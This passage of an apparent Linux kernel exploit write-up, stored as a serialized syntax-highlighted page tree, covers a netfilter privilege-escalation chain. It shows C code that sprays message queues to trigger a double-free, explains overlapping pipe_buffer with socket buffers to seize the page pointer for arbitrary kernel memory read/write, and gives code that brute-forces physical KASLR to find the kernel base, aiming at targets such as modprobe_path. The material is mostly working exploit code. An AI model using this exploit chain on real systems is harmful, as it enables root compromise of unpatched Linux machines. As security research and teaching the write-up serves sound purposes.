IPC_CREAT);\n",{"type":24,"tag":930,"props":60941,"children":60942},{"class":932,"line":1131},[60943,60947,60951,60956,60960,60964,60968],{"type":24,"tag":930,"props":60944,"children":60945},{"style":1079},[60946],{"type":30,"value":3290},{"type":24,"tag":930,"props":60948,"children":60949},{"style":959},[60950],{"type":30,"value":1087},{"type":24,"tag":930,"props":60952,"children":60953},{"style":1023},[60954],{"type":30,"value":60955},"qid",{"type":24,"tag":930,"props":60957,"children":60958},{"style":959},[60959],{"type":30,"value":57685},{"type":24,"tag":930,"props":60961,"children":60962},{"style":1158},[60963],{"type":30,"value":1350},{"type":24,"tag":930,"props":60965,"children":60966},{"style":1242},[60967],{"type":30,"value":1245},{"type":24,"tag":930,"props":60969,"children":60970},{"style":959},[60971],{"type":30,"value":1054},{"type":24,"tag":930,"props":60973,"children":60974},{"class":932,"line":1144},[60975],{"type":24,"tag":930,"props":60976,"children":60977},{"style":959},[60978],{"type":30,"value":2944},{"type":24,"tag":930,"props":60980,"children":60981},{"class":932,"line":1169},[60982,60987,60991,60996],{"type":24,"tag":930,"props":60983,"children":60984},{"style":1002},[60985],{"type":30,"value":60986},"            perror",{"type":24,"tag":930,"props":60988,"children":60989},{"style":959},[60990],{"type":30,"value":1010},{"type":24,"tag":930,"props":60992,"children":60993},{"style":1270},[60994],{"type":30,"value":60995},"\"[-] msgget\"",{"type":24,"tag":930,"props":60997,"children":60998},{"style":959},[60999],{"type":30,"value":1278},{"type":24,"tag":930,"props":61001,"children":61002},{"class":932,"line":1191},[61003],{"type":24,"tag":930,"props":61004,"children":61005},{"style":959},[61006],{"type":30,"value":1831},{"type":24,"tag":930,"props":61008,"children":61009},{"class":932,"line":1223},[61010,61014,61018,61023,61027,61031,61036,61040,61045,61049],{"type":24,"tag":930,"props":61011,"children":61012},{"style":1158},[61013],{"type":30,"value":10861},{"type":24,"tag":930,"props":61015,"children":61016},{"style":959},[61017],{"type":30,"value":1010},{"type":24,"tag":930,"props":61019,"children":61020},{"style":937},[61021],{"type":30,"value":61022},"uint32_t",{"type":24,"tag":930,"props":61024,"children":61025},{"style":1158},[61026],{"type":30,"value":12924},{"type":24,"tag":930,"props":61028,"children":61029},{"style":959},[61030],{"type":30,"value":6249},{"type":24,"tag":930,"props":61032,"children":61033},{"style":1023},[61034],{"type":30,"value":61035},"msg",{"type":24,"tag":930,"props":61037,"children":61038},{"style":959},[61039],{"type":30,"value":16864},{"type":24,"tag":930,"props":61041,"children":61042},{"style":1023},[61043],{"type":30,"value":61044},"mtext",{"type":24,"tag":930,"props":61046,"children":61047},{"style":1158},[61048],{"type":30,"value":6137},{"type":24,"tag":930,"props":61050,"children":61051},{"style":959},[61052],{"type":30,"value":61053}," i;\n",{"type":24,"tag":930,"props":61055,"children":61056},{"class":932,"line":1281},[61057,61061,61065,61069,61073,61077,61081,61085,61089,61093,61097,61101,61105,61109,61114],{"type":24,"tag":930,"props":61058,"children":61059},{"style":1158},[61060],{"type":30,"value":10861},{"type":24,"tag":930,"props":61062,"children":61063},{"style":959},[61064],{"type":30,"value":1010},{"type":24,"tag":930,"props":61066,"children":61067},{"style":937},[61068],{"type":30,"value":58724},{"type":24,"tag":930,"props":61070,"children":61071},{"style":1158},[61072],{"type":30,"value":12924},{"type":24,"tag":930,"props":61074,"children":61075},{"style":959},[61076],{"type":30,"value":6249},{"type":24,"tag":930,"props":61078,"children":61079},{"style":1158},[61080],{"type":30,"value":6230},{"type":24,"tag":930,"props":61082,"children":61083},{"style":1023},[61084],{"type":30,"value":61035},{"type":24,"tag":930,"props":61086,"children":61087},{"style":959},[61088],{"type":30,"value":16864},{"type":24,"tag":930,"props":61090,"children":61091},{"style":1023},[61092],{"type":30,"value":61044},{"type":24,"tag":930,"props":61094,"children":61095},{"style":959},[61096],{"type":30,"value":6849},{"type":24,"tag":930,"props":61098,"children":61099},{"style":1242},[61100],{"type":30,"value":7192},{"type":24,"tag":930,"props":61102,"children":61103},{"style":959},[61104],{"type":30,"value":11770},{"type":24,"tag":930,"props":61106,"children":61107},{"style":1158},[61108],{"type":30,"value":1161},{"type":24,"tag":930,"props":61110,"children":61111},{"style":1242},[61112],{"type":30,"value":61113}," 0xdeadbeefcafebabe",{"type":24,"tag":930,"props":61115,"children":61116},{"style":959},[61117],{"type":30,"value":5539},{"type":24,"tag":930,"props":61119,"children":61120},{"class":932,"line":1313},[61121,61126,61130,61135,61139],{"type":24,"tag":930,"props":61122,"children":61123},{"style":1023},[61124],{"type":30,"value":61125},"        msg",{"type":24,"tag":930,"props":61127,"children":61128},{"style":959},[61129],{"type":30,"value":16864},{"type":24,"tag":930,"props":61131,"children":61132},{"style":1023},[61133],{"type":30,"value":61134},"mtype",{"type":24,"tag":930,"props":61136,"children":61137},{"style":1158},[61138],{"type":30,"value":6137},{"type":24,"tag":930,"props":61140,"children":61141},{"style":959},[61142],{"type":30,"value":61143}," MTYPE_PRIMARY;\n",{"type":24,"tag":930,"props":61145,"children":61146},{"class":932,"line":1335},[61147,61152,61156,61160,61165,61169,61173,61178,61182,61186],{"type":24,"tag":930,"props":61148,"children":61149},{"style":1002},[61150],{"type":30,"value":61151},"        msgsnd",{"type":24,"tag":930,"props":61153,"children":61154},{"style":959},[61155],{"type":30,"value":1010},{"type":24,"tag":930,"props":61157,"children":61158},{"style":1023},[61159],{"type":30,"value":60955},{"type":24,"tag":930,"props":61161,"children":61162},{"style":959},[61163],{"type":30,"value":61164},"[i], msg, ",{"type":24,"tag":930,"props":61166,"children":61167},{"style":1242},[61168],{"type":30,"value":59061},{"type":24,"tag":930,"props":61170,"children":61171},{"style":1158},[61172],{"type":30,"value":54344},{"type":24,"tag":930,"props":61174,"children":61175},{"style":1242},[61176],{"type":30,"value":61177}," 48",{"type":24,"tag":930,"props":61179,"children":61180},{"style":959},[61181],{"type":30,"value":962},{"type":24,"tag":930,"props":61183,"children":61184},{"style":1242},[61185],{"type":30,"value":1818},{"type":24,"tag":930,"props":61187,"children":61188},{"style":959},[61189],{"type":30,"value":1278},{"type":24,"tag":930,"props":61191,"children":61192},{"class":932,"line":1376},[61193,61197,61201,61205,61209],{"type":24,"tag":930,"props":61194,"children":61195},{"style":1023},[61196],{"type":30,"value":61125},{"type":24,"tag":930,"props":61198,"children":61199},{"style":959},[61200],{"type":30,"value":16864},{"type":24,"tag":930,"props":61202,"children":61203},{"style":1023},[61204],{"type":30,"value":61134},{"type":24,"tag":930,"props":61206,"children":61207},{"style":1158},[61208],{"type":30,"value":6137},{"type":24,"tag":930,"props":61210,"children":61211},{"style":959},[61212],{"type":30,"value":61213}," MTYPE_SECONDARY;\n",{"type":24,"tag":930,"props":61215,"children":61216},{"class":932,"line":1418},[61217,61221,61225,61229,61233,61238,61242,61246,61250,61254],{"type":24,"tag":930,"props":61218,"children":61219},{"style":1002},[61220],{"type":30,"value":61151},{"type":24,"tag":930,"props":61222,"children":61223},{"style":959},[61224],{"type":30,"value":1010},{"type":24,"tag":930,"props":61226,"children":61227},{"style":1023},[61228],{"type":30,"value":60955},{"type":24,"tag":930,"props":61230,"children":61231},{"style":959},[61232],{"type":30,"value":61164},{"type":24,"tag":930,"props":61234,"children":61235},{"style":1242},[61236],{"type":30,"value":61237},"1024",{"type":24,"tag":930,"props":61239,"children":61240},{"style":1158},[61241],{"type":30,"value":54344},{"type":24,"tag":930,"props":61243,"children":61244},{"style":1242},[61245],{"type":30,"value":61177},{"type":24,"tag":930,"props":61247,"children":61248},{"style":959},[61249],{"type":30,"value":962},{"type":24,"tag":930,"props":61251,"children":61252},{"style":1242},[61253],{"type":30,"value":1818},{"type":24,"tag":930,"props":61255,"children":61256},{"style":959},[61257],{"type":30,"value":1278},{"type":24,"tag":930,"props":61259,"children":61260},{"class":932,"line":1438},[61261],{"type":24,"tag":930,"props":61262,"children":61263},{"style":959},[61264],{"type":30,"value":1840},{"type":24,"tag":930,"props":61266,"children":61267},{"class":932,"line":1479},[61268],{"type":24,"tag":930,"props":61269,"children":61270},{"style":1422},[61271],{"type":30,"value":61272},"    // Prepare evil msg\n",{"type":24,"tag":930,"props":61274,"children":61275},{"class":932,"line":1506},[61276,61280,61285,61289,61293,61297,61301,61305],{"type":24,"tag":930,"props":61277,"children":61278},{"style":937},[61279],{"type":30,"value":22179},{"type":24,"tag":930,"props":61281,"children":61282},{"style":959},[61283],{"type":30,"value":61284}," evilqid ",{"type":24,"tag":930,"props":61286,"children":61287},{"style":1158},[61288],{"type":30,"value":1161},{"type":24,"tag":930,"props":61290,"children":61291},{"style":1002},[61292],{"type":30,"value":60920},{"type":24,"tag":930,"props":61294,"children":61295},{"style":959},[61296],{"type":30,"value":60925},{"type":24,"tag":930,"props":61298,"children":61299},{"style":1242},[61300],{"type":30,"value":60930},{"type":24,"tag":930,"props":61302,"children":61303},{"style":1158},[61304],{"type":30,"value":7387},{"type":24,"tag":930,"props":61306,"children":61307},{"style":959},[61308],{"type":30,"value":60939},{"type":24,"tag":930,"props":61310,"children":61311},{"class":932,"line":1525},[61312,61316,61321,61325,61329],{"type":24,"tag":930,"props":61313,"children":61314},{"style":1079},[61315],{"type":30,"value":15386},{"type":24,"tag":930,"props":61317,"children":61318},{"style":959},[61319],{"type":30,"value":61320}," (evilqid ",{"type":24,"tag":930,"props":61322,"children":61323},{"style":1158},[61324],{"type":30,"value":1350},{"type":24,"tag":930,"props":61326,"children":61327},{"style":1242},[61328],{"type":30,"value":1245},{"type":24,"tag":930,"props":61330,"children":61331},{"style":959},[61332],{"type":30,"value":1054},{"type":24,"tag":930,"props":61334,"children":61335},{"class":932,"line":1569},[61336],{"type":24,"tag":930,"props":61337,"children":61338},{"style":959},[61339],{"type":30,"value":1128},{"type":24,"tag":930,"props":61341,"children":61342},{"class":932,"line":1592},[61343,61348,61352,61356],{"type":24,"tag":930,"props":61344,"children":61345},{"style":1002},[61346],{"type":30,"value":61347},"        perror",{"type":24,"tag":930,"props":61349,"children":61350},{"style":959},[61351],{"type":30,"value":1010},{"type":24,"tag":930,"props":61353,"children":61354},{"style":1270},[61355],{"type":30,"value":60995},{"type":24,"tag":930,"props":61357,"children":61358},{"style":959},[61359],{"type":30,"value":1278},{"type":24,"tag":930,"props":61361,"children":61362},{"class":932,"line":1610},[61363],{"type":24,"tag":930,"props":61364,"children":61365},{"style":959},[61366],{"type":30,"value":1840},{"type":24,"tag":930,"props":61368,"children":61369},{"class":932,"line":1628},[61370],{"type":24,"tag":930,"props":61371,"children":61372},{"style":959},[61373],{"type":30,"value":61374},"[...] // trigger double-free in kmalloc-256\n",{"type":24,"tag":151,"props":61376,"children":61378},{"id":61377},"using-pipe_buffer-page-pointer-for-physical-readwrite",[61379],{"type":30,"value":61380},"Using pipe_buffer->page pointer for physical read/write",{"type":24,"tag":33,"props":61382,"children":61383},{},[61384,61386,61392,61393,61399,61400,61406,61408,61414],{"type":30,"value":61385},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":24,"tag":156,"props":61387,"children":61389},{"className":61388},[],[61390],{"type":30,"value":61391},"kmalloc-1k",{"type":30,"value":211},{"type":24,"tag":156,"props":61394,"children":61396},{"className":61395},[],[61397],{"type":30,"value":61398},"overlap pipe_buffer",{"type":30,"value":24606},{"type":24,"tag":156,"props":61401,"children":61403},{"className":61402},[],[61404],{"type":30,"value":61405},"skbuf",{"type":30,"value":61407}," data to control the ",{"type":24,"tag":156,"props":61409,"children":61411},{"className":61410},[],[61412],{"type":30,"value":61413},"page",{"type":30,"value":61415}," field.",{"type":24,"tag":33,"props":61417,"children":61418},{},[61419,61420,61425,61427,61433,61435],{"type":30,"value":259},{"type":24,"tag":156,"props":61421,"children":61423},{"className":61422},[],[61424],{"type":30,"value":61413},{"type":30,"value":61426}," field is a pointer into ",{"type":24,"tag":156,"props":61428,"children":61430},{"className":61429},[],[61431],{"type":30,"value":61432},"vmemmap_base",{"type":30,"value":61434},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":24,"tag":140,"props":61436,"children":61438},{"alt":142,"src":61437},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":24,"tag":33,"props":61440,"children":61441},{},[61442,61444,61449],{"type":30,"value":61443},"This now allows us to navigate the ",{"type":24,"tag":156,"props":61445,"children":61447},{"className":61446},[],[61448],{"type":30,"value":61432},{"type":30,"value":61450}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":24,"tag":151,"props":61452,"children":61454},{"id":61453},"bruteforce-physical-kernel-base",[61455],{"type":30,"value":61456},"Bruteforce physical kernel base",{"type":24,"tag":33,"props":61458,"children":61459},{},[61460,61462,61468,61470,61475,61477,61483],{"type":30,"value":61461},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":24,"tag":156,"props":61463,"children":61465},{"className":61464},[],[61466],{"type":30,"value":61467},"modprobe_path",{"type":30,"value":61469},". Keep in mind that simply searching page by page from the start of ",{"type":24,"tag":156,"props":61471,"children":61473},{"className":61472},[],[61474],{"type":30,"value":61432},{"type":30,"value":61476}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":24,"tag":156,"props":61478,"children":61480},{"className":61479},[],[61481],{"type":30,"value":61482},"PHYSICAL_ALIGN",{"type":30,"value":61484}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":24,"tag":920,"props":61486,"children":61488},{"className":32201,"code":61487,"language":32203,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[61489],{"type":24,"tag":156,"props":61490,"children":61491},{"__ignoreMap":7},[61492,61499,61507,61515,61539,61572,61592,61632,61639,61683,61717,61744,61780,61787,61833,61840,61870,61883,61947,61954,61966,61973,61980,61987,62013,62020,62040,62052,62059,62066,62073],{"type":24,"tag":930,"props":61493,"children":61494},{"class":932,"line":933},[61495],{"type":24,"tag":930,"props":61496,"children":61497},{"style":959},[61498],{"type":30,"value":990},{"type":24,"tag":930,"props":61500,"children":61501},{"class":932,"line":984},[61502],{"type":24,"tag":930,"props":61503,"children":61504},{"style":959},[61505],{"type":30,"value":61506},"// Bruteforce phys-KASLR\n",{"type":24,"tag":930,"props":61508,"children":61509},{"class":932,"line":993},[61510],{"type":24,"tag":930,"props":61511,"children":61512},{"style":959},[61513],{"type":30,"value":61514},"    uint64_t kernel_base;\n",{"type":24,"tag":930,"props":61516,"children":61517},{"class":932,"line":1057},[61518,61522,61527,61531,61535],{"type":24,"tag":930,"props":61519,"children":61520},{"style":937},[61521],{"type":30,"value":49563},{"type":24,"tag":930,"props":61523,"children":61524},{"style":959},[61525],{"type":30,"value":61526}," found ",{"type":24,"tag":930,"props":61528,"children":61529},{"style":1158},[61530],{"type":30,"value":1161},{"type":24,"tag":930,"props":61532,"children":61533},{"style":937},[61534],{"type":30,"value":12167},{"type":24,"tag":930,"props":61536,"children":61537},{"style":959},[61538],{"type":30,"value":5539},{"type":24,"tag":930,"props":61540,"children":61541},{"class":932,"line":1066},[61542,61547,61551,61556,61560,61564,61568],{"type":24,"tag":930,"props":61543,"children":61544},{"style":937},[61545],{"type":30,"value":61546},"    uint8_t",{"type":24,"tag":930,"props":61548,"children":61549},{"style":1023},[61550],{"type":30,"value":18208},{"type":24,"tag":930,"props":61552,"children":61553},{"style":959},[61554],{"type":30,"value":61555},"[PAGE_SIZE] ",{"type":24,"tag":930,"props":61557,"children":61558},{"style":1158},[61559],{"type":30,"value":1161},{"type":24,"tag":930,"props":61561,"children":61562},{"style":959},[61563],{"type":30,"value":48309},{"type":24,"tag":930,"props":61565,"children":61566},{"style":1242},[61567],{"type":30,"value":1818},{"type":24,"tag":930,"props":61569,"children":61570},{"style":959},[61571],{"type":30,"value":19679},{"type":24,"tag":930,"props":61573,"children":61574},{"class":932,"line":1075},[61575,61579,61583,61588],{"type":24,"tag":930,"props":61576,"children":61577},{"style":1002},[61578],{"type":30,"value":58596},{"type":24,"tag":930,"props":61580,"children":61581},{"style":959},[61582],{"type":30,"value":1010},{"type":24,"tag":930,"props":61584,"children":61585},{"style":1270},[61586],{"type":30,"value":61587},"\"[*] bruteforce phys-KASLR\"",{"type":24,"tag":930,"props":61589,"children":61590},{"style":959},[61591],{"type":30,"value":1278},{"type":24,"tag":930,"props":61593,"children":61594},{"class":932,"line":1122},[61595,61599,61603,61607,61611,61615,61619,61624,61628],{"type":24,"tag":930,"props":61596,"children":61597},{"style":1079},[61598],{"type":30,"value":6154},{"type":24,"tag":930,"props":61600,"children":61601},{"style":959},[61602],{"type":30,"value":1087},{"type":24,"tag":930,"props":61604,"children":61605},{"style":937},[61606],{"type":30,"value":58724},{"type":24,"tag":930,"props":61608,"children":61609},{"style":959},[61610],{"type":30,"value":57633},{"type":24,"tag":930,"props":61612,"children":61613},{"style":1158},[61614],{"type":30,"value":1161},{"type":24,"tag":930,"props":61616,"children":61617},{"style":1242},[61618],{"type":30,"value":1245},{"type":24,"tag":930,"props":61620,"children":61621},{"style":959},[61622],{"type":30,"value":61623},";; i",{"type":24,"tag":930,"props":61625,"children":61626},{"style":1158},[61627],{"type":30,"value":54358},{"type":24,"tag":930,"props":61629,"children":61630},{"style":959},[61631],{"type":30,"value":1054},{"type":24,"tag":930,"props":61633,"children":61634},{"class":932,"line":1131},[61635],{"type":24,"tag":930,"props":61636,"children":61637},{"style":959},[61638],{"type":30,"value":1128},{"type":24,"tag":930,"props":61640,"children":61641},{"class":932,"line":1144},[61642,61647,61651,61656,61660,61665,61669,61674,61678],{"type":24,"tag":930,"props":61643,"children":61644},{"style":959},[61645],{"type":30,"value":61646},"        kernel_base ",{"type":24,"tag":930,"props":61648,"children":61649},{"style":1158},[61650],{"type":30,"value":1161},{"type":24,"tag":930,"props":61652,"children":61653},{"style":1242},[61654],{"type":30,"value":61655}," 0x40",{"type":24,"tag":930,"props":61657,"children":61658},{"style":1158},[61659],{"type":30,"value":12924},{"type":24,"tag":930,"props":61661,"children":61662},{"style":959},[61663],{"type":30,"value":61664}," ((PHYSICAL_ALIGN ",{"type":24,"tag":930,"props":61666,"children":61667},{"style":1158},[61668],{"type":30,"value":1410},{"type":24,"tag":930,"props":61670,"children":61671},{"style":959},[61672],{"type":30,"value":61673}," i) ",{"type":24,"tag":930,"props":61675,"children":61676},{"style":1158},[61677],{"type":30,"value":15868},{"type":24,"tag":930,"props":61679,"children":61680},{"style":959},[61681],{"type":30,"value":61682}," PAGE_SHIFT);\n",{"type":24,"tag":930,"props":61684,"children":61685},{"class":932,"line":1169},[61686,61691,61695,61699,61703,61708,61712],{"type":24,"tag":930,"props":61687,"children":61688},{"style":1023},[61689],{"type":30,"value":61690},"        pipebuf",{"type":24,"tag":930,"props":61692,"children":61693},{"style":959},[61694],{"type":30,"value":16864},{"type":24,"tag":930,"props":61696,"children":61697},{"style":1023},[61698],{"type":30,"value":61413},{"type":24,"tag":930,"props":61700,"children":61701},{"style":1158},[61702],{"type":30,"value":6137},{"type":24,"tag":930,"props":61704,"children":61705},{"style":959},[61706],{"type":30,"value":61707}," vmemmap_base ",{"type":24,"tag":930,"props":61709,"children":61710},{"style":1158},[61711],{"type":30,"value":1400},{"type":24,"tag":930,"props":61713,"children":61714},{"style":959},[61715],{"type":30,"value":61716}," kernel_base;\n",{"type":24,"tag":930,"props":61718,"children":61719},{"class":932,"line":1191},[61720,61724,61728,61732,61736,61740],{"type":24,"tag":930,"props":61721,"children":61722},{"style":1023},[61723],{"type":30,"value":61690},{"type":24,"tag":930,"props":61725,"children":61726},{"style":959},[61727],{"type":30,"value":16864},{"type":24,"tag":930,"props":61729,"children":61730},{"style":1023},[61731],{"type":30,"value":17008},{"type":24,"tag":930,"props":61733,"children":61734},{"style":1158},[61735],{"type":30,"value":6137},{"type":24,"tag":930,"props":61737,"children":61738},{"style":1242},[61739],{"type":30,"value":1245},{"type":24,"tag":930,"props":61741,"children":61742},{"style":959},[61743],{"type":30,"value":5539},{"type":24,"tag":930,"props":61745,"children":61746},{"class":932,"line":1223},[61747,61751,61755,61759,61763,61768,61772,61776],{"type":24,"tag":930,"props":61748,"children":61749},{"style":1023},[61750],{"type":30,"value":61690},{"type":24,"tag":930,"props":61752,"children":61753},{"style":959},[61754],{"type":30,"value":16864},{"type":24,"tag":930,"props":61756,"children":61757},{"style":1023},[61758],{"type":30,"value":12247},{"type":24,"tag":930,"props":61760,"children":61761},{"style":1158},[61762],{"type":30,"value":6137},{"type":24,"tag":930,"props":61764,"children":61765},{"style":959},[61766],{"type":30,"value":61767}," PAGE_SIZE ",{"type":24,"tag":930,"props":61769,"children":61770},{"style":1158},[61771],{"type":30,"value":1400},{"type":24,"tag":930,"props":61773,"children":61774},{"style":1242},[61775],{"type":30,"value":7637},{"type":24,"tag":930,"props":61777,"children":61778},{"style":959},[61779],{"type":30,"value":5539},{"type":24,"tag":930,"props":61781,"children":61782},{"class":932,"line":1281},[61783],{"type":24,"tag":930,"props":61784,"children":61785},{"style":959},[61786],{"type":30,"value":990},{"type":24,"tag":930,"props":61788,"children":61789},{"class":932,"line":1313},[61790,61795,61799,61803,61807,61811,61816,61820,61825,61829],{"type":24,"tag":930,"props":61791,"children":61792},{"style":959},[61793],{"type":30,"value":61794},"        for (",{"type":24,"tag":930,"props":61796,"children":61797},{"style":937},[61798],{"type":30,"value":22149},{"type":24,"tag":930,"props":61800,"children":61801},{"style":1023},[61802],{"type":30,"value":11732},{"type":24,"tag":930,"props":61804,"children":61805},{"style":1158},[61806],{"type":30,"value":6137},{"type":24,"tag":930,"props":61808,"children":61809},{"style":1242},[61810],{"type":30,"value":1245},{"type":24,"tag":930,"props":61812,"children":61813},{"style":959},[61814],{"type":30,"value":61815},"; j ",{"type":24,"tag":930,"props":61817,"children":61818},{"style":1158},[61819],{"type":30,"value":1350},{"type":24,"tag":930,"props":61821,"children":61822},{"style":959},[61823],{"type":30,"value":61824}," PIPE_SPRAY; j",{"type":24,"tag":930,"props":61826,"children":61827},{"style":1158},[61828],{"type":30,"value":54358},{"type":24,"tag":930,"props":61830,"children":61831},{"style":959},[61832],{"type":30,"value":1054},{"type":24,"tag":930,"props":61834,"children":61835},{"class":932,"line":1335},[61836],{"type":24,"tag":930,"props":61837,"children":61838},{"style":959},[61839],{"type":30,"value":2944},{"type":24,"tag":930,"props":61841,"children":61842},{"class":932,"line":1376},[61843,61848,61852,61856,61861,61865],{"type":24,"tag":930,"props":61844,"children":61845},{"style":1002},[61846],{"type":30,"value":61847},"            memset",{"type":24,"tag":930,"props":61849,"children":61850},{"style":959},[61851],{"type":30,"value":1010},{"type":24,"tag":930,"props":61853,"children":61854},{"style":1158},[61855],{"type":30,"value":6230},{"type":24,"tag":930,"props":61857,"children":61858},{"style":959},[61859],{"type":30,"value":61860},"data, ",{"type":24,"tag":930,"props":61862,"children":61863},{"style":1242},[61864],{"type":30,"value":1818},{"type":24,"tag":930,"props":61866,"children":61867},{"style":959},[61868],{"type":30,"value":61869},", PAGE_SIZE);\n",{"type":24,"tag":930,"props":61871,"children":61872},{"class":932,"line":1418},[61873,61878],{"type":24,"tag":930,"props":61874,"children":61875},{"style":937},[61876],{"type":30,"value":61877},"            int",{"type":24,"tag":930,"props":61879,"children":61880},{"style":959},[61881],{"type":30,"value":61882}," count;\n",{"type":24,"tag":930,"props":61884,"children":61885},{"class":932,"line":1438},[61886,61890,61895,61899,61904,61908,61913,61918,61922,61926,61930,61935,61939,61943],{"type":24,"tag":930,"props":61887,"children":61888},{"style":1079},[61889],{"type":30,"value":1485},{"type":24,"tag":930,"props":61891,"children":61892},{"style":959},[61893],{"type":30,"value":61894}," (count ",{"type":24,"tag":930,"props":61896,"children":61897},{"style":1158},[61898],{"type":30,"value":1161},{"type":24,"tag":930,"props":61900,"children":61901},{"style":1002},[61902],{"type":30,"value":61903}," read",{"type":24,"tag":930,"props":61905,"children":61906},{"style":959},[61907],{"type":30,"value":1010},{"type":24,"tag":930,"props":61909,"children":61910},{"style":1023},[61911],{"type":30,"value":61912},"pfd",{"type":24,"tag":930,"props":61914,"children":61915},{"style":959},[61916],{"type":30,"value":61917},"[j][",{"type":24,"tag":930,"props":61919,"children":61920},{"style":1242},[61921],{"type":30,"value":1818},{"type":24,"tag":930,"props":61923,"children":61924},{"style":959},[61925],{"type":30,"value":26162},{"type":24,"tag":930,"props":61927,"children":61928},{"style":1158},[61929],{"type":30,"value":6230},{"type":24,"tag":930,"props":61931,"children":61932},{"style":959},[61933],{"type":30,"value":61934},"data, PAGE_SIZE) ",{"type":24,"tag":930,"props":61936,"children":61937},{"style":1158},[61938],{"type":30,"value":1350},{"type":24,"tag":930,"props":61940,"children":61941},{"style":1242},[61942],{"type":30,"value":1245},{"type":24,"tag":930,"props":61944,"children":61945},{"style":959},[61946],{"type":30,"value":1054},{"type":24,"tag":930,"props":61948,"children":61949},{"class":932,"line":1479},[61950],{"type":24,"tag":930,"props":61951,"children":61952},{"style":959},[61953],{"type":30,"value":3068},{"type":24,"tag":930,"props":61955,"children":61956},{"class":932,"line":1506},[61957,61962],{"type":24,"tag":930,"props":61958,"children":61959},{"style":1079},[61960],{"type":30,"value":61961},"                continue",{"type":24,"tag":930,"props":61963,"children":61964},{"style":959},[61965],{"type":30,"value":5539},{"type":24,"tag":930,"props":61967,"children":61968},{"class":932,"line":1525},[61969],{"type":24,"tag":930,"props":61970,"children":61971},{"style":959},[61972],{"type":30,"value":1643},{"type":24,"tag":930,"props":61974,"children":61975},{"class":932,"line":1569},[61976],{"type":24,"tag":930,"props":61977,"children":61978},{"style":959},[61979],{"type":30,"value":990},{"type":24,"tag":930,"props":61981,"children":61982},{"class":932,"line":1592},[61983],{"type":24,"tag":930,"props":61984,"children":61985},{"emptyLinePlaceholder":16},[61986],{"type":30,"value":2412},{"type":24,"tag":930,"props":61988,"children":61989},{"class":932,"line":1610},[61990,61995,62000,62004,62008],{"type":24,"tag":930,"props":61991,"children":61992},{"style":959},[61993],{"type":30,"value":61994},"            if (",{"type":24,"tag":930,"props":61996,"children":61997},{"style":943},[61998],{"type":30,"value":61999},"is_kernel_base",{"type":24,"tag":930,"props":62001,"children":62002},{"style":959},[62003],{"type":30,"value":1010},{"type":24,"tag":930,"props":62005,"children":62006},{"style":943},[62007],{"type":30,"value":6817},{"type":24,"tag":930,"props":62009,"children":62010},{"style":959},[62011],{"type":30,"value":62012},")) // [1] identify kernel base\n",{"type":24,"tag":930,"props":62014,"children":62015},{"class":932,"line":1628},[62016],{"type":24,"tag":930,"props":62017,"children":62018},{"style":959},[62019],{"type":30,"value":3068},{"type":24,"tag":930,"props":62021,"children":62022},{"class":932,"line":1637},[62023,62028,62032,62036],{"type":24,"tag":930,"props":62024,"children":62025},{"style":959},[62026],{"type":30,"value":62027},"                found ",{"type":24,"tag":930,"props":62029,"children":62030},{"style":1158},[62031],{"type":30,"value":1161},{"type":24,"tag":930,"props":62033,"children":62034},{"style":937},[62035],{"type":30,"value":15576},{"type":24,"tag":930,"props":62037,"children":62038},{"style":959},[62039],{"type":30,"value":5539},{"type":24,"tag":930,"props":62041,"children":62042},{"class":932,"line":1646},[62043,62048],{"type":24,"tag":930,"props":62044,"children":62045},{"style":1079},[62046],{"type":30,"value":62047},"                break",{"type":24,"tag":930,"props":62049,"children":62050},{"style":959},[62051],{"type":30,"value":5539},{"type":24,"tag":930,"props":62053,"children":62054},{"class":932,"line":1673},[62055],{"type":24,"tag":930,"props":62056,"children":62057},{"style":959},[62058],{"type":30,"value":1643},{"type":24,"tag":930,"props":62060,"children":62061},{"class":932,"line":1692},[62062],{"type":24,"tag":930,"props":62063,"children":62064},{"style":959},[62065],{"type":30,"value":1831},{"type":24,"tag":930,"props":62067,"children":62068},{"class":932,"line":1730},[62069],{"type":24,"tag":930,"props":62070,"children":62071},{"emptyLinePlaceholder":16},[62072],{"type":30,"value":2412},{"type":24,"tag":930,"props":62074,"children":62075},{"class":932,"line":1762},[62076],{"type":24,"tag":930,"props":62077,"children":62078},{"style":959},[62079],{"type":30,"value":990},{"type":24,"tag":33,"props":62081,"children":62082},{},[62083,62085,62089,62091,62097,62099,62103],{"type":30,"value":62084},"Notice that at ",{"type":24,"tag":930,"props":62086,"children":62087},{},[62088],{"type":30,"value":7129},{"type":30,"value":62090}," we call the ",{"type":24,"tag":156,"props":62092,"children":62094},{"className":62093},[],[62095],{"type":30,"value":62096},"is_kernel_base()",{"type":30,"value":62098}," function. This is a function based on lau's exploit ",{"type":24,"tag":930,"props":62100,"children":62101},{},[62102],{"type":30,"value":21210},{"type":30,"value":62104}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":24,"tag":920,"props":62106,"children":62108},{"className":32201,"code":62107,"language":32203,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, 